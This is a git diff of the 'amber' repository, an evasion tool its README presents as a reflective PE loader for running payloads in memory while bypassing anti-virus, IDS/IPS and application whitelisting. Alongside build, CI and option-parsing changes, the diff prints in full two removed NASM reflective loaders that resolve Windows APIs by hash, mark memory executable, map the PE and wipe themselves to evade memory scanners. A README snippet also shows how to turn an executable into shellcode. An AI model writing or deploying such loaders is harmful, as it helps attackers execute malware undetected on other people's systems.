diff --git a/.github/img/banner.png b/.github/img/banner.png new file mode 100644 index 0000000..fdc3726 Binary files /dev/null and b/.github/img/banner.png differ diff --git a/.github/img/loader.png b/.github/img/loader.png new file mode 100644 index 0000000..8c7a8c4 Binary files /dev/null and b/.github/img/loader.png differ diff --git a/img/usage.gif b/.github/img/usage.gif similarity index 100% rename from img/usage.gif rename to .github/img/usage.gif diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml new file mode 100644 index 0000000..c544f74 --- /dev/null +++ b/.github/workflows/main.yml @@ -0,0 +1,61 @@ + +name: build + +on: + push: + branches: [ "master" ] + +jobs: + linux-build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: 1.19 + - name: Install Keystone + run: ./install-keystone.sh + - name: Build for Linux + run: make + - name: 'Upload Artifact' + uses: actions/upload-artifact@v3 + with: + name: amber_linux + path: amber + retention-days: 5 + macos-run: + runs-on: macos-latest + steps: + - uses: actions/checkout@v3 + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: 1.19 + - name: Install Keystone + run: ./install-keystone.sh + - name: Build for MacOS + run: make + - name: 'Upload Artifact' + uses: actions/upload-artifact@v3 + with: + name: amber_darwin + path: amber + retention-days: 5 + + windows-build: + runs-on: windows-latest + steps: + - uses: actions/checkout@v3 + - name: Set up Go + uses: actions/setup-go@v3 + with: + go-version: 1.19 + - name: Build for Windows + run: make + - name: 'Upload Artifact' + uses: actions/upload-artifact@v3 + with: + name: amber.exe + path: amber.exe + retention-days: 5 \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index b73438c..6f4c2db 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM golang:1.15-buster as builder +FROM golang:1.20 as builder RUN apt-get update && apt-get -y install \ build-essential \ @@ -19,10 +19,11 @@ RUN cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF -DLLVM_TARGETS_TO_B RUN make -j8 RUN make install && ldconfig +# RUN mkdir /root/amber WORKDIR /root RUN git clone https://github.com/egebalci/amber WORKDIR /root/amber -RUN go build -o /root/bin/amber -ldflags '-w -s -extldflags -static' -trimpath main.go +RUN go build -trimpath -buildvcs=false -ldflags="-extldflags=-static -s -w" -o /root/bin/amber main.go FROM scratch COPY --from=builder /root/bin/amber /amber diff --git a/Makefile b/Makefile index cc8d9f2..bb26f53 100644 --- a/Makefile +++ b/Makefile @@ -1,14 +1,5 @@ -normal: - go build -ldflags="-s -w" -trimpath -o amber -386: - CGO_ENABLED=1 GOARCH=386 go build -ldflags="-s -w" -trimpath -o amber -linux_amd64: - GOOS=linux CGO_ENABLED=1 GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o amber -linux_386: - GOOS=linux CGO_ENABLED=1 GOARCH=386 go build -ldflags="-s -w" -trimpath -o amber -windows_amd64: - GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CGO_LDFLAGS="-lkeystone -L`pwd`/build/lib/" CXX=x86_64-w64-mingw32-g++ CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -trimpath -o amber.exe -windows_386: - GOOS=windows GOARCH=386 CGO_ENABLED=1 CGO_LDFLAGS="-lkeystone -L`pwd`/build/lib32/" CXX=i686-w64-mingw32-g++ CC=i686-w64-mingw32-gcc go build -ldflags="-s -w" -trimpath -o amber32.exe -darwin: - GOOS=darwin CGO_ENABLED=1 CGO_LDFLAGS="-lkeystone -L`pwd`/build/lib/" go build -ldflags="-s -w" -trimpath -o amber +BUILD=go build +BUILD_FLAGS=-trimpath -buildvcs=false -ldflags="-extldflags=-static -s -w -X github.com/egebalci/amber/config.Version=$$(git log --pretty=format:'v1.0.%at-%h' -n 1)" + +default: + ${BUILD} ${BUILD_FLAGS} -o amber \ No newline at end of file diff --git a/README.md b/README.md index f727515..9cdc7c6 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,9 @@

- +
- + @@ -23,10 +23,7 @@ Amber is a position-independent(reflective) PE loader that enables in-memory execution of native PE files(EXE, DLL, SYS...). It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products, and application white-listing mitigations. Reflective payloads generated by Amber can either be staged from a remote server or executed directly in memory much like a generic shellcode. By default, every generated payload is encoded using the new generation [SGN encoder](https://github.com/EgeBalci/sgn). Amber uses [CRC32_API](https://github.com/EgeBalci/crc32_api) and [IAT_API](https://github.com/EgeBalci/iat_api) for inconspicuously resolving the Windows API function addresses. After the PE file is loaded and executed in memory, the reflective payload is erased for evading memory scanners. -Developed By Ege Balcı @[PRODAFT](https://prodaft.com). - # Installation - Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/amber/releases). ***Building From Source*** @@ -34,7 +31,7 @@ Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/ The only dependency for building the source is the [keystone engine](https://github.com/keystone-engine/keystone), follow [these](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE.md) instructions for installing the library. Once libkeystone is installed on the system, simply just go get it ツ ``` -go get github.com/EgeBalci/amber +go install github.com/EgeBalci/amber@latest ``` ***Docker Install*** @@ -49,7 +46,7 @@ docker run -it egee/amber # Usage

- +

The following table lists switches supported by the amber. @@ -60,11 +57,17 @@ The following table lists switches supported by the amber. Type Description - + - -b,--build - bool - Build EXE stub that executes the generated reflective payload + -f,--file + string + Input PE file. + + + + -o,--out + string + Output binary payload file name. @@ -72,35 +75,29 @@ The following table lists switches supported by the amber. int Number of times to encode the generated reflective payload - - - -f,--file - string - Input PE file. - - -iat + --iat bool Use IAT API resolver block instead of CRC API resolver block - - -ignore-checks - bool - Ignore integrity check errors. - - - -max + -l int Maximum number of bytes for obfuscation (default 5) - -s,--stub - string - Use custom stub file for executing the generated reflective payload (currently very unstable) + --sys + bool + Perform raw syscalls. (only x64) + + + + --scrape + bool + Scrape magic byte and DOS stub from PE. @@ -112,9 +109,9 @@ The following table lists switches supported by the amber. ``` amber -f test.exe ``` -- Generate reflective payload and build EXE stub for executing it. +- Generate reflective payload with IAT API resolver and encode the final payload 10 times. ``` -amber -build -f test.exe +amber -e 10 --iat -f test.exe ``` ***Docker Usage*** diff --git a/config/options.go b/config/options.go index 133b8c5..083c75c 100644 --- a/config/options.go +++ b/config/options.go @@ -1,79 +1,83 @@ package config import ( - "errors" - "flag" "fmt" "os" - amber "github.com/EgeBalci/amber/pkg" - sgn "github.com/EgeBalci/sgn/pkg" - "github.com/fatih/color" + "github.com/EgeBalci/amber/utils" + "github.com/alecthomas/kong" ) -var usageStr = ` -Usage: amber [options] -Options: - -f, --file Input PE file - -s, --stub Use custom stub file (experimental) - -m, --max Maximum number of bytes for obfuscation - -e, Number of times to encode the generated reflective payload - -b, --build Build EXE stub that executes the generated reflective payload - --iat, Use IAT API resolver block instead of CRC API resolver block - --ignore-checks, Ignore integrity check errors. - -h, Show this message -` +const Version = "3.2.0" -// PrintUsageErrorAndDie ... -func PrintUsageErrorAndDie(err error) { - color.Red(err.Error()) - fmt.Println(usageStr) - os.Exit(1) +func HelpPrompt(options kong.HelpOptions, ctx *kong.Context) error { + err := kong.DefaultHelpPrinter(options, ctx) + if err != nil { + return err + } + return nil } -// PrintHelpAndDie ... -func PrintHelpAndDie() { - fmt.Println(usageStr) - os.Exit(0) +// Main config struct for parsing the TOML file +type Config struct { + FileName string `help:"Input PE file name." name:"file" short:"f"` + OutputFile string `help:"Output binary payload file name." name:"out" short:"o"` + EncodeCount int `help:"Number of times to encode the generated reflective payload." name:"encode" short:"e" default:"1"` + ObfuscationLimit int `help:"Maximum number of bytes for encoder obfuscation." name:"obfuscate-limit" short:"l" default:"5"` + UseIAT bool `help:"Use IAT API resolver block instead of CRC API resolver block." name:"iat"` + UseSyscalls bool `help:"Perform raw syscalls. (only x64)" name:"sys"` + ScrapePeHeaders bool `help:"Scrape magic byte and DOS stub from PE." name:"scrape"` + // IgnoreIntegrity bool `help:"Ignore PE file integrity check errors." name:"ignore"` + Verbose bool `help:"Verbose mode." name:"verbose" short:"v"` + Version kong.VersionFlag } // ConfigureOptions accepts a flag set and augments it with agentgo-server // specific flags. On success, an options structure is returned configured // based on the selected flags. -func ConfigureOptions(fs *flag.FlagSet, args []string) (*amber.Blueprint, *sgn.Encoder, error) { - - // Create empty options - bp := &amber.Blueprint{} - encoder := sgn.NewEncoder() +func Parse() (*Config, error) { - // Define flags - help := fs.Bool("h", false, "Show help message") - fs.StringVar(&bp.FileName, "f", "", "Input PE file") - fs.StringVar(&bp.FileName, "file", "", "Input PE file") - fs.BoolVar(&bp.IAT, "iat", false, "Use IAT API resolver block instead of CRC API resolver block") - fs.BoolVar(&bp.IgnoreIntegrity, "ignore-checks", false, "Ignore integrity check errors.") - fs.StringVar(&bp.CustomStubName, "s", "", "Use custom stub file (experimental)") - fs.StringVar(&bp.CustomStubName, "stub", "", "Use custom stub file (experimental)") - fs.IntVar(&encoder.ObfuscationLimit, "max", 5, "Maximum number of bytes for obfuscation") - fs.IntVar(&encoder.EncodingCount, "e", 1, "Number of times to encode the generated reflective payload") - fs.BoolVar(&bp.BuildStub, "b", false, "Build EXE stub that executes the generated reflective payload") - fs.BoolVar(&bp.BuildStub, "build", false, "Build EXE stub that executes the generated reflective payload") - - // Parse arguments and check for errors - if err := fs.Parse(args); err != nil { - return nil, nil, err + cfg := new(Config) + parser, err := kong.New( + cfg, + kong.Help(HelpPrompt), + kong.UsageOnError(), + kong.Vars{"version": Version}, + kong.ConfigureHelp(kong.HelpOptions{ + Summary: true, + }), + ) + if err != nil { + return nil, err + } + _, err = parser.Parse(os.Args[1:]) + if err != nil { + return nil, err } - // If it is not help and other args are empty, return error - if (*help == false) && bp.FileName == "" { - err := errors.New("please specify all required arguments") - return nil, nil, err + if cfg.FileName == "" { + utils.PrintErr("no file specified! (-f )\n") + kong.Help(HelpPrompt) + os.Exit(1) } - // If -help flag is defined, print help - if *help { - PrintHelpAndDie() + if cfg.OutputFile == "" { + cfg.OutputFile = fmt.Sprintf("%s.bin", cfg.FileName) } - return bp, encoder, nil + return cfg, nil +} + +func (cfg *Config) PrintSummary() { + utils.PrintStatus("File: %s\n", cfg.FileName) + utils.PrintStatus("Encode Count: %d\n", cfg.EncodeCount) + utils.PrintStatus("Obfuscation Limit: %d\n", cfg.ObfuscationLimit) + if cfg.UseIAT { + utils.PrintStatus("API Resolver: IAT\n") + } else { + utils.PrintStatus("API Resolver: CRC\n") + } + if cfg.UseSyscalls { + utils.PrintStatus("Raw Syscalls: True\n") + } } diff --git a/go.mod b/go.mod index 0ab1d06..fc83085 100644 --- a/go.mod +++ b/go.mod @@ -4,8 +4,10 @@ go 1.15 require ( github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848 - github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc + github.com/alecthomas/kong v0.7.1 github.com/briandowns/spinner v1.11.1 github.com/fatih/color v1.10.0 + github.com/sirupsen/logrus v1.9.0 + golang.org/x/sys v0.7.0 // indirect ) diff --git a/go.sum b/go.sum index 787be93..49bc839 100644 --- a/go.sum +++ b/go.sum @@ -2,15 +2,24 @@ github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848 h1:xp+mcTlDdvF6gCe/ github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848/go.mod h1:7fXlZBJFFub/8MYzeBI6HFwNkwL2cw8pe3yrWTJduwc= github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae h1:IMOEVXYMrzHg+1oWgTYBEwzMGsxFHUgoreu2Ic62K7Q= github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8= -github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251 h1:VyTVKce2AzuB6521arwJvyQFHLQ0USNnw/0IZ/RP3bE= -github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM= github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc h1:OVYO6tY6ivMDvT/np+bKnkUSIgHRJ4S7hAGcd1ylas8= github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM= +github.com/alecthomas/assert/v2 v2.1.0 h1:tbredtNcQnoSd3QBhQWI7QZ3XHOVkw1Moklp2ojoH/0= +github.com/alecthomas/assert/v2 v2.1.0/go.mod h1:b/+1DI2Q6NckYi+3mXyH3wFb8qG37K/DuK80n7WefXA= +github.com/alecthomas/kong v0.7.1 h1:azoTh0IOfwlAX3qN9sHWTxACE2oV8Bg2gAwBsMwDQY4= +github.com/alecthomas/kong v0.7.1/go.mod h1:n1iCIO2xS46oE8ZfYCNDqdR0b0wZNrXAIAqro/2132U= +github.com/alecthomas/repr v0.1.0 h1:ENn2e1+J3k09gyj2shc0dHr/yjaWSHRlrJ4DPMevDqE= +github.com/alecthomas/repr v0.1.0/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8= github.com/briandowns/spinner v1.11.1 h1:OixPqDEcX3juo5AjQZAnFPbeUA0jvkp2qzB5gOZJ/L0= github.com/briandowns/spinner v1.11.1/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg= github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= +github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM= +github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -21,7 +30,20 @@ github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+tw github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/olekukonko/tablewriter v0.0.4 h1:vHD/YYe1Wolo78koG299f7V/VAS08c6IpCLn+Ejf/w8= github.com/olekukonko/tablewriter v0.0.4/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.7.0 h1:3jlCCIQZPdOYu1h8BkNvLz8Kgwtae2cagcG/VamtZRU= +golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/img/banner.png b/img/banner.png deleted file mode 100644 index d7cfc25..0000000 Binary files a/img/banner.png and /dev/null differ diff --git a/loader/CRC32_API b/loader/CRC32_API deleted file mode 160000 index 4f35ec8..0000000 --- a/loader/CRC32_API +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 4f35ec8a865ca14d47551b688dcd9dcebfc7413c diff --git a/loader/IAT_API b/loader/IAT_API deleted file mode 160000 index 9bbf9fb..0000000 --- a/loader/IAT_API +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 9bbf9fbb1c2ecdb032e45153c0b011381fdd3fc1 diff --git a/loader/README.md b/loader/README.md new file mode 100644 index 0000000..2ea6f42 --- /dev/null +++ b/loader/README.md @@ -0,0 +1,21 @@ +# Amber Loader v3.0 + +Amber Loader is a reflective PE loader designed for manually loading (mapping, relocating, resolving) & executing PE files from memory. It is written fully in assembly using the NASM syntax. The loader supports both 32 and 64 bit PE files with TLS callbacks and forwarded imports. + + +

+ +

+ +The lite version of the amber loader can be directly appended in front of a PE file for converting the file into a shellcode. + + +- [amber_loader-x86-lite.bin](https://github.com/EgeBalci/amber/raw/master/loader/loader-x86/amber_loader-x86-lite.bin) +- [amber_loader-x64-lite.bin](https://github.com/EgeBalci/amber/raw/master/loader/loader-x64/amber_loader-x64-lite.bin) + +### Example: Converting putty.exe into shellcode +```bash +wget https://github.com/EgeBalci/amber/raw/master/loader/loader-x64/amber_loader-x64-lite.bin -O shellcode +cat putty.exe >> shellcode && xxd -i shellcode +``` +**(!! lite version do not wipe itself from the memory !!)** \ No newline at end of file diff --git a/loader/crc32_api b/loader/crc32_api new file mode 160000 index 0000000..14a7f8b --- /dev/null +++ b/loader/crc32_api @@ -0,0 +1 @@ +Subproject commit 14a7f8b5eba4193e133732155cf0c56a67957066 diff --git a/loader/fixed_loader_x64.asm b/loader/fixed_loader_x64.asm deleted file mode 100644 index 5dd6437..0000000 --- a/loader/fixed_loader_x64.asm +++ /dev/null @@ -1,117 +0,0 @@ -;#==============================================# -;# X64 Fixed Reflective Loader (No relocation) # -;# Author: Ege Balcı # -;# Version: 1.1 # -;#==============================================# - -[BITS 64] - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: - pop rsi ; Get the address of image to rsi - call $+5 - sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11 - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - push rax ; Allocate 8 bytes for lpflOldProtect - mov r9,rsp ; lpflOldProtect - mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE - mov rdx,qword [rsp+8] ; dwSize - mov rcx,rbx ; lpAddress - mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - xchg rsp,rbp ; Swap shadow stack - call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - xchg rsp,rbp ; Swap shadow stack - xor rax,rax ; Zero EAX - xor r14,r14 ; Zero R14 - xor r15,r15 ; Zero R15 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to RAX - jmp get_modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to RAX - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving stage is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get API address with hint - jmp insert_iat ; Insert the address of API to IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to RAX - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(RCX,RDX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rax ; ... - pop rcx ; Pop the image_size to RCX - push rbx ; Push the new base adress to stack - add [rsp],r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rbx],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rbx ; Increase image base index - loop memcpy ; Loop until zero - jmp PE_start - -; ========== API ========== -%include "CRC32_API/x64_crc32_api.asm" - -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 - ret ; Return to AOE \ No newline at end of file diff --git a/loader/fixed_loader_x86.asm b/loader/fixed_loader_x86.asm deleted file mode 100644 index 3628d38..0000000 --- a/loader/fixed_loader_x86.asm +++ /dev/null @@ -1,128 +0,0 @@ -;#==================================================# -;# x86 Fixed Address Reflective Stub (no relocation)# -;# Author: Ege Balcı # -;# Version: 2.0 # -;#==================================================# - -[BITS 32] -[ORG 0] - - - call start ; Get the address of pre-mapped PE image to stack - incbin "pemap.bin" ; Pre-mapped PE image -start: ; - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call $+5 ; Push the current EIP to stack - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push ebx ; Save image base to stack - push 0x00000000 ; Allocate a DWORD variable inside stack - push esp ; lpflOldProtect - push 0x40 ; PAGE_EXECUTE_READWRITE - push dword [esp+0x14] ; dwSize - push ebx ; lpAddress - push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - pop eax ; Fix the stack - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0x00 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0x00 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,0x02 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],0x04 ; Increase the import names table index - add dword [esp+4],0x04 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0x00 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov byte [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start - -; ========== API ========== -%include "CRC32_API/x86_crc32_api.asm" - -PE_start: - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - ret ; Return to AOE \ No newline at end of file diff --git a/loader/loader-x64/amber_loader-x64-lite.bin b/loader/loader-x64/amber_loader-x64-lite.bin new file mode 100644 index 0000000..4826406 Binary files /dev/null and b/loader/loader-x64/amber_loader-x64-lite.bin differ diff --git a/loader/loader-x64/build.sh b/loader/loader-x64/build.sh new file mode 100755 index 0000000..f54a02d --- /dev/null +++ b/loader/loader-x64/build.sh @@ -0,0 +1,33 @@ +#!/bin/bash +## ANSI Colors 